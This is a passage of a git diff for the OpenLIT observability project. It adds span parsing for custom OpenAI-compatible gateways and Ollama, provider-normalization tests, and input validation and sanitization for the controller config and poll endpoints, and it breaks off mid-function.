@@ type EmbeddingProviderConfig struct {+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_GENAI_EMBEDDING_ENABLED" validate:"boolean"`}-+type CohereConfig struct {-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_COHERE_ENABLED" validate:"boolean"`-+}-+-+type MistralConfig struct {-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_MISTRAL_ENABLED" validate:"boolean"`-+}-+-+type GroqConfig struct {-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_GROQ_ENABLED" validate:"boolean"`-+}-+-+type DeepseekConfig struct {-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_DEEPSEEK_ENABLED" validate:"boolean"`-+}-+-+type TogetherConfig struct {-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_TOGETHER_ENABLED" validate:"boolean"`-+}-+-+type FireworksConfig struct {-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_FIREWORKS_ENABLED" validate:"boolean"`++type CustomConfig struct {++ // Enable custom OpenAI-compatible gateway payload extraction and parsing++ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_CUSTOM_ENABLED" validate:"boolean"`++ // Hosts is the set of configured gateway destinations ("host:port" or++ // "host"). A captured request is parsed as a custom GenAI span only when its++ // destination matches one of these, so unrelated traffic is never tagged.++ // Populated by the controller from the dashboard's custom_llm_hosts.++ Hosts []string `yaml:"hosts" env:"OTEL_EBPF_HTTP_CUSTOM_HOSTS"`+}++type OllamaConfig struct {++ // Enable Ollama native API payload extraction and parsing+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_OLLAMA_ENABLED" validate:"boolean"`+}+-+type AzureOpenAIConfig struct {-+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_AZURE_OPENAI_ENABLED" validate:"boolean"`-+}-+- type JSONRPCConfig struct {- // Enable JSON-RPC payload extraction and parsing- Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_JSONRPC_ENABLED" validate:"boolean"`+ type RerankConfig struct {+ // Enable Rerank (Cohere, Jina AI, Voyage AI, etc.) payload extraction and parsing+ Enabled bool `yaml:"enabled" env:"OTEL_EBPF_HTTP_RERANK_ENABLED" validate:"boolean"`diff --git a/openlit-controller/patches/http_transform.patch b/openlit-controller/patches/http_transform.patchindex ed0a00b0..513c266b 100644--- a/openlit-controller/patches/http_transform.patch+++ b/openlit-controller/patches/http_transform.patch@@ -1,59 +1,113 @@diff --git a/pkg/ebpf/common/http_transform.go b/pkg/ebpf/common/http_transform.go-index a79d1d7..c6d4f88 100644+index 7fe38be..3ee401e 100644--- a/pkg/ebpf/common/http_transform.go+++ b/pkg/ebpf/common/http_transform.go-@@ -197,6 +197,54 @@ func httpRequestResponseToSpan(parseCtx *EBPFParseContext, event *BPFHTTPInfo, r+@@ -222,6 +222,28 @@ func httpRequestResponseToSpan(parseCtx *EBPFParseContext, event *BPFHTTPInfo, r}}-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Groq.Enabled {-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)++ // Ollama native API (/api/chat, /api/generate). Path-gated inside OllamaSpan++ // so it only matches the native endpoints, never the /v1/ OpenAI-compat path.++ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Ollama.Enabled {++ span, ok := ebpfhttp.OllamaSpan(&httpSpan, req, resp)+ if ok {-+ span.SubType = request.HTTPSubtypeGroq++ span.SubType = request.HTTPSubtypeOllama+ return span+ }+ }+-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Deepseek.Enabled {-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)++ // Custom OpenAI-compatible gateway (LiteLLM, vLLM, LocalAI, ...). Placed LAST++ // among the GenAI branches so the named providers above win when their flag++ // is also on. Gated on the request's destination matching one of the++ // configured gateway hosts (dashboard custom_llm_hosts), so it only ever++ // fires for traffic to a known gateway and never disturbs other detection.++ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Custom.Enabled {++ span, ok := ebpfhttp.CustomSpan(&httpSpan, parseCtx.payloadExtraction.HTTP.GenAI.Custom.Hosts, req, resp)+ if ok {-+ span.SubType = request.HTTPSubtypeDeepseek+ return span+ }+ }+-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Together.Enabled {-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)-+ if ok {-+ span.SubType = request.HTTPSubtypeTogether-+ return span-+ }-+ }-+-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Fireworks.Enabled {-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)-+ if ok {-+ span.SubType = request.HTTPSubtypeFireworks-+ return span-+ }-+ }-+-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.AzureOpenAI.Enabled {-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)-+ if ok {-+ span.SubType = request.HTTPSubtypeAzureOpenAI-+ return span+ // Parse JSON-RPC once and reuse for both MCP and plain JSON-RPC+ // detection, since MCP is a protocol layer on top of JSON-RPC.+ if parseCtx != nil && (parseCtx.payloadExtraction.HTTP.GenAI.MCP.Enabled || parseCtx.payloadExtraction.HTTP.JSONRPC.Enabled) {+diff --git a/pkg/export/otel/tracesgen/tracesgen.go b/pkg/export/otel/tracesgen/tracesgen.go+index e5ceb57..fbb4ee7 100644+--- a/pkg/export/otel/tracesgen/tracesgen.go++++ b/pkg/export/otel/tracesgen/tracesgen.go+@@ -593,6 +593,75 @@ func TraceAttributesSelector(span *request.Span, optionalAttrs map[attr.Name]str+ }+ }+++ // Custom OpenAI-compatible gateway (LiteLLM, vLLM, LocalAI, ...). Reuses++ // the OpenAI-shaped VendorOpenAI payload but emits no provider name, since++ // the backend vendor behind the gateway is unknown.++ if span.SubType == request.HTTPSubtypeCustom && span.GenAI != nil && span.GenAI.Custom != nil {++ ai := span.GenAI.Custom++ // gen_ai.provider.name is intentionally a generic marker: the actual++ // backend vendor behind a custom gateway is unknown. Discovery++ // (IP+port) remains the authoritative attribution.++ attrs = append(attrs, semconv.GenAIProviderNameKey.String("custom"))++ attrs = append(attrs, semconv.GenAIOperationNameKey.String(ai.OperationName))++ attrs = append(attrs, semconv.GenAIResponseID(ai.ID))++ attrs = append(attrs, semconv.GenAIRequestModel(ai.Request.Model))++ attrs = append(attrs, semconv.GenAIResponseModel(ai.ResponseModel))++ if ai.FrequencyPenalty > 0.0 {++ attrs = append(attrs, semconv.GenAIRequestFrequencyPenalty(ai.FrequencyPenalty))++ }++ if ai.Temperature > 0.0 {++ attrs = append(attrs, semconv.GenAIRequestTemperature(ai.Temperature))++ } else if ai.Request.Temperature != 0 {++ attrs = append(attrs, semconv.GenAIRequestTemperature(ai.Request.Temperature))++ }++ if ai.TopP > 0.0 {++ attrs = append(attrs, semconv.GenAIRequestTopP(ai.TopP))++ }++ attrs = append(attrs, semconv.GenAIUsageInputTokens(ai.Usage.GetInputTokens()))++ attrs = append(attrs, semconv.GenAIUsageOutputTokens(ai.Usage.GetOutputTokens()))++ // Messages are emitted in the GenAI semantic-conventions structure++ // (role + parts[]), normalized by the custom parser — NOT the raw++ // OpenAI shape returned by the VendorOpenAI getters.++ if _, ok := optionalAttrs[attr.GenAIInput]; ok && span.GenAI.CustomInputMessages != "" {++ attrs = append(attrs, semconv.GenAIInputMessagesKey.String(span.GenAI.CustomInputMessages))++ }++ if _, ok := optionalAttrs[attr.GenAIOutput]; ok && span.GenAI.CustomOutputMessages != "" {++ attrs = append(attrs, semconv.GenAIOutputMessagesKey.String(span.GenAI.CustomOutputMessages))++ }++ if _, ok := optionalAttrs[attr.GenAIInstructions]; ok && span.GenAI.CustomSystemInstructions != "" {++ attrs = append(attrs, semconv.GenAISystemInstructionsKey.String(span.GenAI.CustomSystemInstructions))++ }++ if _, ok := optionalAttrs[attr.GenAIMetadata]; ok {++ if len(ai.Metadata) > 0 {++ attrs = append(attrs, request.Metadata(string(ai.Metadata)))++ }++ }++ if ai.Error.Type != "" {++ attrs = append(attrs, semconv.ErrorTypeKey.String(ai.Error.Type))++ attrs = append(attrs, semconv.ErrorMessage(ai.Error.Message))++ }++ if ai.OperationName == request.EmbeddingOperationName && ai.Request.Dimensions > 0 {++ attrs = append(attrs, attribute.Int("gen_ai.request.embedding.dimensions", ai.Request.Dimensions))++ }+ }-+ }+-+ if isClientEvent(event.Type) && parseCtx != nil && parseCtx.payloadExtraction.HTTP.GenAI.Mistral.Enabled {-+ span, ok := ebpfhttp.OpenAISpan(&httpSpan, req, resp)-+ if ok {-+ span.SubType = request.HTTPSubtypeMistral-+ return span++ // Ollama native API (/api/chat, /api/generate).++ if span.SubType == request.HTTPSubtypeOllama && span.GenAI != nil && span.GenAI.Ollama != nil {++ ai := span.GenAI.Ollama++ attrs = append(attrs, semconv.GenAIProviderNameKey.String("ollama"))++ attrs = append(attrs, semconv.GenAIOperationNameKey.String(ai.Operation))++ attrs = append(attrs, semconv.GenAIRequestModel(ai.Model))++ attrs = append(attrs, semconv.GenAIResponseModel(ai.Model))++ attrs = append(attrs, semconv.GenAIUsageInputTokens(ai.InputTokens))++ attrs = append(attrs, semconv.GenAIUsageOutputTokens(ai.OutputTokens))++ if _, ok := optionalAttrs[attr.GenAIInput]; ok {++ attrs = append(attrs, semconv.GenAIInputMessagesKey.String(ai.Input))++ }++ if _, ok := optionalAttrs[attr.GenAIOutput]; ok {++ attrs = append(attrs, semconv.GenAIOutputMessagesKey.String(ai.Output))++ }+ }-+ }+- if parseCtx != nil && parseCtx.payloadExtraction.HTTP.JSONRPC.Enabled {- span, ok := ebpfhttp.JSONRPCSpan(&httpSpan, req, resp)- if ok {+ if span.SubType == request.HTTPSubtypeAnthropic && span.GenAI != nil && span.GenAI.Anthropic != nil {+ ai := span.GenAI.Anthropic+ attrs = append(attrs, semconv.GenAIProviderNameAnthropic)diff --git a/openlit-controller/patches/span.patch b/openlit-controller/patches/span.patchindex 059817cc..3297429c 100644--- a/openlit-controller/patches/span.patch+++ b/openlit-controller/patches/span.patch@@ -1,127 +1,166 @@diff --git a/pkg/appolly/app/request/span.go b/pkg/appolly/app/request/span.go-index d7ccb12..7a73a13 100644+index 54776da..77aa795 100644--- a/pkg/appolly/app/request/span.go+++ b/pkg/appolly/app/request/span.go-@@ -97,13 +97,29 @@ const (- HTTPSubtypeGemini = 8 // http + Google AI Studio (Gemini)- HTTPSubtypeJSONRPC = 9 // http + JSON-RPC- HTTPSubtypeAWSBedrock = 10 // http + AWS Bedrock-+ HTTPSubtypeCohere = 11 // http + Cohere-+ HTTPSubtypeMistral = 12 // http + Mistral (OpenAI-compatible)-+ HTTPSubtypeGroq = 13 // http + Groq (OpenAI-compatible)-+ HTTPSubtypeDeepseek = 14 // http + Deepseek (OpenAI-compatible)-+ HTTPSubtypeTogether = 15 // http + Together (OpenAI-compatible)-+ HTTPSubtypeFireworks = 16 // http + Fireworks (OpenAI-compatible)-+ HTTPSubtypeOllama = 17 // http + Ollama-+ HTTPSubtypeAzureOpenAI = 18 // http + Azure OpenAI (OpenAI-compatible)+@@ -105,6 +105,8 @@ const (+ HTTPSubtypeMCP = 12 // http + Model Context Protocol+ HTTPSubtypeEmbedding = 13 // http + generic embedding provider (Voyage, Cohere, Jina)+ HTTPSubtypeRerank = 14 // http + Rerank (Cohere, Jina, Voyage, etc.)++ HTTPSubtypeCustom = 15 // http + custom OpenAI-compatible gateway (LiteLLM, vLLM, ...)++ HTTPSubtypeOllama = 16 // http + Ollama native API)func IsGenAISubtype(subtype int) bool {- return subtype == HTTPSubtypeOpenAI ||- subtype == HTTPSubtypeAnthropic ||- subtype == HTTPSubtypeGemini ||-- subtype == HTTPSubtypeAWSBedrock-+ subtype == HTTPSubtypeAWSBedrock ||-+ subtype == HTTPSubtypeCohere ||-+ subtype == HTTPSubtypeMistral ||-+ subtype == HTTPSubtypeGroq ||-+ subtype == HTTPSubtypeDeepseek ||-+ subtype == HTTPSubtypeTogether ||-+ subtype == HTTPSubtypeFireworks ||-+ subtype == HTTPSubtypeOllama ||-+ subtype == HTTPSubtypeAzureOpenAI+@@ -115,7 +117,9 @@ func IsGenAISubtype(subtype int) bool {+ subtype == HTTPSubtypeAWSBedrock ||+ subtype == HTTPSubtypeMCP ||+ subtype == HTTPSubtypeEmbedding ||+- subtype == HTTPSubtypeRerank++ subtype == HTTPSubtypeRerank ||++ subtype == HTTPSubtypeCustom ||++ subtype == HTTPSubtypeOllama}//nolint:cyclop-@@ -253,6 +269,14 @@ type GenAI struct {- Anthropic *VendorAnthropic- Gemini *VendorGemini- Bedrock *VendorBedrock-+ Cohere *VendorCohere+@@ -282,6 +286,33 @@ type GenAI struct {+ MCP *MCPCall+ Embedding *VendorEmbedding+ Rerank *VendorRerank++ // Custom OpenAI-compatible gateway (LiteLLM, vLLM, LocalAI, ...). Reuses++ // VendorOpenAI for tokens/model/params because the wire format is++ // OpenAI-compatible. The message bodies, however, are normalized by the++ // custom parser into the GenAI semconv role/parts structure and carried in++ // the Custom*Messages fields below (the raw VendorOpenAI getters return the++ // non-normalized OpenAI shape).++ Custom *VendorOpenAI++ CustomInputMessages string++ CustomOutputMessages string++ CustomSystemInstructions string++ // Ollama native API (/api/chat, /api/generate). Distinct schema, own vendor.++ Ollama *VendorOllama+}+-+type VendorCohere struct {-+ Model string `json:"model"`-+ InputTokens int `json:"input_tokens"`-+ OutputTokens int `json:"output_tokens"`-+ Operation string `json:"operation"`++// VendorOllama holds fields parsed from Ollama's native API responses++// (/api/chat, /api/generate), which differ from the OpenAI wire format:++// tokens are prompt_eval_count/eval_count and output text is message.content++// or response.++type VendorOllama struct {++ Model string++ InputTokens int++ OutputTokens int++ Operation string++ // Input/Output carry the serialized request messages and response content++ // for the gen_ai.{input,output}.messages span attributes.++ Input string++ Output string}type OpenAIUsage struct {-@@ -1494,6 +1518,10 @@ func (s *Span) GenAIInputTokens() int {- return s.GenAI.Bedrock.Output.InputTokens+@@ -1490,6 +1521,23 @@ func (s *Span) TraceName() string {+ }+ }+++ // Custom OpenAI-compatible gateway: name spans "<operation> <model>"++ // (e.g. "chat gpt-4o-mini"), matching the OpenAI convention. Custom++ // reuses VendorOpenAI, so the logic mirrors the OpenAI case above.++ if s.Type == EventTypeHTTPClient && s.SubType == HTTPSubtypeCustom && s.GenAI != nil && s.GenAI.Custom != nil {++ name := s.GenAI.Custom.OperationName++ if name != "" {++ switch {++ case s.GenAI.Custom.Request.Model != "":++ return name + " " + s.GenAI.Custom.Request.Model++ case s.GenAI.Custom.ResponseModel != "":++ return name + " " + s.GenAI.Custom.ResponseModel++ default:++ return name++ }++ }++ }+++ if s.Type == EventTypeHTTPClient && s.SubType == HTTPSubtypeAnthropic && s.GenAI != nil && s.GenAI.Anthropic != nil {+ name := s.GenAI.Anthropic.Output.Type+ if name != "" {+@@ -1819,6 +1867,14 @@ func (s *Span) GenAIInputTokens() int {+ return s.GenAI.Rerank.Output.GetTotalTokens()}-+ if s.GenAI.Cohere != nil {-+ return s.GenAI.Cohere.InputTokens++ if s.GenAI.Custom != nil {++ return s.GenAI.Custom.Usage.GetInputTokens()++ }++++ if s.GenAI.Ollama != nil {++ return s.GenAI.Ollama.InputTokens+ }+return 0}-@@ -1518,6 +1546,10 @@ func (s *Span) GenAIOutputTokens() int {- return s.GenAI.Bedrock.Output.OutputTokens+@@ -1851,6 +1907,14 @@ func (s *Span) GenAIOutputTokens() int {+ return s.GenAI.Embedding.GetOutputTokens()}-+ if s.GenAI.Cohere != nil {-+ return s.GenAI.Cohere.OutputTokens++ if s.GenAI.Custom != nil {++ return s.GenAI.Custom.Usage.GetOutputTokens()++ }++++ if s.GenAI.Ollama != nil {++ return s.GenAI.Ollama.OutputTokens+ }+return 0}-@@ -1537,6 +1569,9 @@ func (s *Span) GenAIOperationName() string {- if s.GenAI.Bedrock != nil {- return "invoke_model"+@@ -1879,6 +1943,12 @@ func (s *Span) GenAIOperationName() string {+ if s.GenAI.Rerank != nil {+ return "rerank"}-+ if s.GenAI.Cohere != nil {-+ return s.GenAI.Cohere.Operation++ if s.GenAI.Custom != nil {++ return s.GenAI.Custom.OperationName++ }++ if s.GenAI.Ollama != nil {++ return s.GenAI.Ollama.Operation+ }return ""}-@@ -1556,6 +1591,25 @@ func (s *Span) GenAIProviderName() string {- if s.GenAI.Bedrock != nil {- return semconv.GenAIProviderNameAWSBedrock.Value.AsString()+@@ -1907,6 +1977,12 @@ func (s *Span) GenAIProviderName() string {+ if s.GenAI.Rerank != nil {+ return s.GenAI.Rerank.Provider}-+ if s.GenAI.Cohere != nil {-+ return "cohere"-+ }-+ switch s.SubType {-+ case HTTPSubtypeGroq:-+ return "groq"-+ case HTTPSubtypeDeepseek:-+ return "deepseek"-+ case HTTPSubtypeTogether:-+ return "together"-+ case HTTPSubtypeFireworks:-+ return "fireworks"-+ case HTTPSubtypeMistral:-+ return "mistral"-+ case HTTPSubtypeOllama:++ if s.GenAI.Ollama != nil {+ return "ollama"-+ case HTTPSubtypeAzureOpenAI:-+ return "azure.openai"+ }++ // Custom gateways intentionally report no provider name: the wire format is++ // OpenAI-compatible but the actual backend vendor is unknown. Discovery++ // (IP+port) remains the authoritative attribution.return ""}-@@ -1575,6 +1629,9 @@ func (s *Span) GenAIRequestModel() string {- if s.GenAI.Bedrock != nil {- return s.GenAI.Bedrock.Model+@@ -1938,6 +2014,12 @@ func (s *Span) GenAIRequestModel() string {+ if s.GenAI.Rerank != nil {+ return s.GenAI.Rerank.Input.Model}-+ if s.GenAI.Cohere != nil {-+ return s.GenAI.Cohere.Model++ if s.GenAI.Custom != nil {++ return s.GenAI.Custom.Request.Model++ }++ if s.GenAI.Ollama != nil {++ return s.GenAI.Ollama.Model+ }return ""}-@@ -1597,5 +1654,8 @@ func (s *Span) GenAIResponseModel() string {- if s.GenAI.Bedrock != nil {- return s.GenAI.Bedrock.Model+@@ -1978,5 +2060,14 @@ func (s *Span) GenAIResponseModel() string {+ }+ return s.GenAI.Rerank.Input.Model}-+ if s.GenAI.Cohere != nil {-+ return s.GenAI.Cohere.Model++ if s.GenAI.Custom != nil {++ if s.GenAI.Custom.ResponseModel != "" {++ return s.GenAI.Custom.ResponseModel++ }++ return s.GenAI.Custom.Request.Model++ }++ if s.GenAI.Ollama != nil {++ return s.GenAI.Ollama.Model+ }return ""}diff --git a/src/client/src/__tests__/lib/platform/agents/provider-normalize.test.ts b/src/client/src/__tests__/lib/platform/agents/provider-normalize.test.tsnew file mode 100644index 00000000..68308056--- /dev/null+++ b/src/client/src/__tests__/lib/platform/agents/provider-normalize.test.ts@@ -0,0 +1,58 @@+import {+ canonicalProvider,+ mergeProviders,+} from "@/lib/platform/agents/provider-normalize";++describe("canonicalProvider", () => {+ it("maps OTel semconv names to short controller names", () => {+ expect(canonicalProvider("gcp.gemini")).toBe("gemini");+ expect(canonicalProvider("aws.bedrock")).toBe("bedrock");+ expect(canonicalProvider("azure.ai.openai")).toBe("azure_openai");+ });++ it("passes through already-canonical names", () => {+ expect(canonicalProvider("openai")).toBe("openai");+ expect(canonicalProvider("gemini")).toBe("gemini");+ expect(canonicalProvider("custom")).toBe("custom");+ });++ it("is case- and whitespace-insensitive", () => {+ expect(canonicalProvider(" GCP.Gemini ")).toBe("gemini");+ });++ it("leaves unknown providers (frameworks) untouched", () => {+ expect(canonicalProvider("crewai")).toBe("crewai");+ expect(canonicalProvider("langgraph")).toBe("langgraph");+ });+});++describe("mergeProviders", () => {+ it("collapses the controller vs semconv alias for the same provider", () => {+ // The exact bug: controller reports "gemini", traces report "gcp.gemini".+ expect(mergeProviders(["gcp.gemini"], ["gemini"])).toEqual(["gemini"]);+ });++ it("unions distinct providers and preserves first-seen order", () => {+ expect(mergeProviders(["gcp.gemini"], ["openai"])).toEqual([+ "gemini",+ "openai",+ ]);+ });++ it("keeps a framework + its underlying LLM as two entries", () => {+ // crewai (framework) + openai (LLM) are genuinely different — not merged.+ expect(mergeProviders(["crewai"], ["openai"])).toEqual([+ "crewai",+ "openai",+ ]);+ });++ it("handles empty/undefined lists and falsy entries", () => {+ expect(mergeProviders(undefined, [])).toEqual([]);+ expect(mergeProviders(["", "openai"], undefined)).toEqual(["openai"]);+ });++ it("dedups within a single list too", () => {+ expect(mergeProviders(["gemini", "gcp.gemini"])).toEqual(["gemini"]);+ });+});diff --git a/src/client/src/app/(playground)/agents/controller/[instance_id]/page.tsx b/src/client/src/app/(playground)/agents/controller/[instance_id]/page.tsxindex 1751e589..d1d9d1bb 100644--- a/src/client/src/app/(playground)/agents/controller/[instance_id]/page.tsx+++ b/src/client/src/app/(playground)/agents/controller/[instance_id]/page.tsx@@ -41,22 +41,51 @@ const SUPPORTED_PROVIDERS: Array<keyof PayloadExtractionConfig> = ["openai","anthropic","gemini",+ "qwen",+ "bedrock",+ "custom",+ "ollama",+];++// OpenAI-wire-compatible SaaS vendors discovery may report. They share the+// single OpenAI extractor (mirrors openAICompatible in the controller's obi.go).+const OPENAI_COMPATIBLE_PROVIDERS = new Set([+ "openai","cohere","mistral","groq","deepseek","together","fireworks",+ "azure_inference",+ "azure_openai","vercel_ai","vertex_ai",- "azure_inference",- "bedrock",-];+]);++// providerToExtractor maps a discovered provider string to the payload-extraction+// toggle that enables it, or null if it has no extractor.+function providerToExtractor(+ provider: string+): keyof PayloadExtractionConfig | null {+ if (OPENAI_COMPATIBLE_PROVIDERS.has(provider)) return "openai";+ if (provider === "anthropic") return "anthropic";+ if (provider === "gemini") return "gemini";+ if (provider === "qwen") return "qwen";+ if (provider === "bedrock") return "bedrock";+ if (provider === "custom") return "custom";+ if (provider === "ollama") return "ollama";+ return null;+}+// PROVIDER_LABELS humanizes every provider string discovery may emit (chips),+// which is a superset of the payload-extraction toggles. Discovered SaaS vendors+// keep their names for display even though they share the OpenAI extractor.const PROVIDER_LABELS: Record<string, string> = {openai: getMessage().AGENTS_PROVIDER_OPENAI,anthropic: getMessage().AGENTS_PROVIDER_ANTHROPIC,gemini: getMessage().AGENTS_PROVIDER_GEMINI,+ qwen: getMessage().AGENTS_PROVIDER_QWEN,cohere: getMessage().AGENTS_PROVIDER_COHERE,mistral: getMessage().AGENTS_PROVIDER_MISTRAL,groq: getMessage().AGENTS_PROVIDER_GROQ,@@ -67,30 +96,27 @@ const PROVIDER_LABELS: Record<string, string> = {vertex_ai: getMessage().AGENTS_PROVIDER_VERTEX_AI,azure_inference: getMessage().AGENTS_PROVIDER_AZURE_INFERENCE,bedrock: getMessage().AGENTS_PROVIDER_BEDROCK,+ ollama: getMessage().AGENTS_PROVIDER_OLLAMA,+ custom: getMessage().AGENTS_PROVIDER_CUSTOM,};const DEFAULT_PAYLOAD_EXTRACTION: PayloadExtractionConfig = {openai: false,anthropic: false,gemini: false,- cohere: false,- mistral: false,- groq: false,- deepseek: false,- together: false,- fireworks: false,- vercel_ai: false,- vertex_ai: false,- azure_inference: false,- azure_openai: false,+ qwen: false,bedrock: false,- litellm: false,+ custom: false,ollama: false,};const DEFAULT_CONFIG: ControllerConfig = {export: {- otlp_endpoint: "http://localhost:4318",+ // Empty by default: the controller uses its own OTEL_EXPORTER_OTLP_ENDPOINT+ // (set per-deployment, e.g. the in-cluster collector). Only set this to+ // override that endpoint. A hardcoded localhost default would point the+ // controller at itself and silently drop telemetry.+ otlp_endpoint: "",otlp_headers: {},otlp_protocol: "http/protobuf",},@@ -837,8 +863,9 @@ function buildDefaultConfig(const payloadExtraction = { ...DEFAULT_PAYLOAD_EXTRACTION };for (const service of sourceServices) {for (const provider of service.llm_providers || []) {- if (provider in payloadExtraction) {- payloadExtraction[provider as keyof PayloadExtractionConfig] = true;+ const key = providerToExtractor(provider);+ if (key) {+ payloadExtraction[key] = true;}}}diff --git a/src/client/src/app/api/controller/config/route.ts b/src/client/src/app/api/controller/config/route.tsindex ae96ef20..b72a9f35 100644--- a/src/client/src/app/api/controller/config/route.ts+++ b/src/client/src/app/api/controller/config/route.ts@@ -3,7 +3,10 @@ import {getControllerConfig,saveControllerConfig,} from "@/lib/platform/controller";-import type { ControllerConfig } from "@/types/controller";+import {+ validateControllerConfig,+ ConfigValidationError,+} from "@/lib/platform/controller/validate-config";export async function GET(request: Request) {const { searchParams } = new URL(request.url);@@ -37,16 +40,23 @@ export async function GET(request: Request) {export async function POST(request: Request) {try {const body = await request.json();- const { instance_id, config } = body as {- instance_id?: string;- config?: ControllerConfig;- };+ const { instance_id } = body as { instance_id?: string };++ if (body?.config === undefined || body?.config === null) {+ return Response.json({ error: "config is required" }, { status: 400 });+ }- if (!config) {- return Response.json(- { error: "config is required" },- { status: 400 }- );+ // The controller fetches and EXECUTES this config, and it is writable by+ // any authenticated user, so validate + sanitize it into a known bounded+ // shape before persisting. Reject hostile/malformed input outright.+ let config;+ try {+ config = validateControllerConfig(body.config);+ } catch (e) {+ if (e instanceof ConfigValidationError) {+ return Response.json({ error: `Invalid config: ${e.message}` }, { status: 400 });+ }+ throw e;}// Save config to ClickHouse. The controller will pick it updiff --git a/src/client/src/app/api/controller/poll/route.ts b/src/client/src/app/api/controller/poll/route.tsindex 2201ce47..fb64c103 100644--- a/src/client/src/app/api/controller/poll/route.ts+++ b/src/client/src/app/api/controller/poll/route.ts@@ -16,8 +16,8 @@ import {import { KNOWN_ACTIONS } from "@/types/controller";import { getAllFeatureHandlers } from "@/lib/platform/controller/features";import type { ReportedService } from "@/lib/platform/controller/features";-import { getFirstDBConfig } from "@/lib/db-config";import { getAPIKeyInfo, hasAnyAPIKeys } from "@/lib/platform/api-keys";+import { getFirstDBConfig } from "@/lib/db-config";import type { ControllerConfig, FeatureDesiredState } from "@/types/controller";import crypto from "crypto";@@ -71,6 +71,11 @@ async function authenticatePollRequest(return { dbId: apiInfo.databaseConfigId };}+ // Auth model (intentional, for fast onboarding):+ // - If any API key exists, the controller MUST send a valid one.+ // - If no API key has been created yet, the controller may poll without+ // one so it can come up before the operator finishes onboarding. The+ // moment the first key is created, this path closes automatically.const keysExist = await hasAnyAPIKeys();if (keysExist) {return Response.json(@@ -82,14 +87,10 @@ async function authenticatePollRequest();}- console.warn("controller poll: no API keys configured -- poll endpoint is unauthenticated");const dbConfig = await getFirstDBConfig();if (!dbConfig) {return Response.json(- {- error:- "No database configuration found. Complete onboarding first.",- },+ { error: "No database configuration found. Complete onboarding first." },{ status: 503 });}@@ -141,44 +142,67 @@ async function phaseUpsertServices(return reportedServices;}+ // Coerce/validate untrusted poll fields into known types/sizes before insert.+ // The body is attacker-influenceable; downstream code (and queries) assume+ // these are strings, so a non-string or oversized value must be normalized.+ const MAX_FIELD = 1024;+ const cStr = (v: unknown): string =>+ (typeof v === "string" ? v : v == null ? "" : String(v))+ // eslint-disable-next-line no-control-regex+ .replace(/[\x00-\x1f\x7f]/g, "")+ .slice(0, MAX_FIELD);+ const cStrArr = (v: unknown): string[] =>+ Array.isArray(v) ? v.slice(0, 256).map(cStr).filter(Boolean) : [];+const rows = body.services.map((svc: any) => {- if (!svc.workload_key) {- throw new Error(- "controller poll: service is missing workload_key"- );+ const workloadKey = cStr(svc?.workload_key);+ if (!workloadKey) {+ throw new Error("controller poll: service is missing workload_key");+ }+ const ns = cStr(svc.namespace);+ const name = cStr(svc.service_name);+ const status = cStr(svc.instrumentation_status) || "discovered";++ // resource_attributes: keep only string->string entries.+ const rawAttrs =+ svc.resource_attributes && typeof svc.resource_attributes === "object"+ ? (svc.resource_attributes as Record<string, unknown>)+ : {};+ const attrs: Record<string, string> = {};+ for (const k of Object.keys(rawAttrs).slice(0, 128)) {+ attrs[cStr(k)] = cStr(rawAttrs[k]);}- const ns = svc.namespace || "";- const name = svc.service_name || "";++ const openPorts = Array.isArray(svc.open_ports)+ ? svc.open_ports+ .map((p: unknown) => Number(p))+ .filter((p: number) => Number.isInteger(p) && p > 0 && p <= 65535)+ .slice(0, 64)+ : [];+ const pid = Number.isInteger(svc.pid) && svc.pid > 0 ? svc.pid : 0;reportedServices.push({- workload_key: svc.workload_key,- instrumentation_status:- svc.instrumentation_status || "discovered",- resource_attributes: svc.resource_attributes,+ workload_key: workloadKey,+ instrumentation_status: status,+ resource_attributes: attrs,});return {- id: deterministicServiceId(- body.instance_id,- svc.workload_key,- ns,- name- ),+ id: deterministicServiceId(body.instance_id, workloadKey, ns, name),controller_instance_id: body.instance_id,cluster_id: clusterId,service_name: name,- workload_key: svc.workload_key,+ workload_key: workloadKey,namespace: ns,- language_runtime: svc.language_runtime || "",- llm_providers: svc.llm_providers || [],- open_ports: svc.open_ports || [],- deployment_name: svc.deployment_name || "",- pid: svc.pid || 0,- exe_path: svc.exe_path || "",- instrumentation_status:- svc.instrumentation_status || "discovered",- resource_attributes: svc.resource_attributes || {},- first_seen: svc.first_seen || now,+ language_runtime: cStr(svc.language_runtime),+ llm_providers: cStrArr(svc.llm_providers),+ open_ports: openPorts,+ deployment_name: cStr(svc.deployment_name),+ pid,+ exe_path: cStr(svc.exe_path),+ instrumentation_status: status,+ resource_attributes: attrs,+ first_seen: cStr(svc.first_seen) || now,last_seen: now,updated_at: now,};diff --git a/src/client/src/components/svg/providers.tsx b/src/client/src/components/svg/providers.tsxindex b751358a..7baf186e 100644--- a/src/client/src/components/svg/providers.tsx+++ b/src/client/src/components/svg/providers.tsx@@ -357,6 +357,36 @@ export function FireworksSvg({ className }: SvgProps) {);}+export function CustomGatewaySvg({ className }: 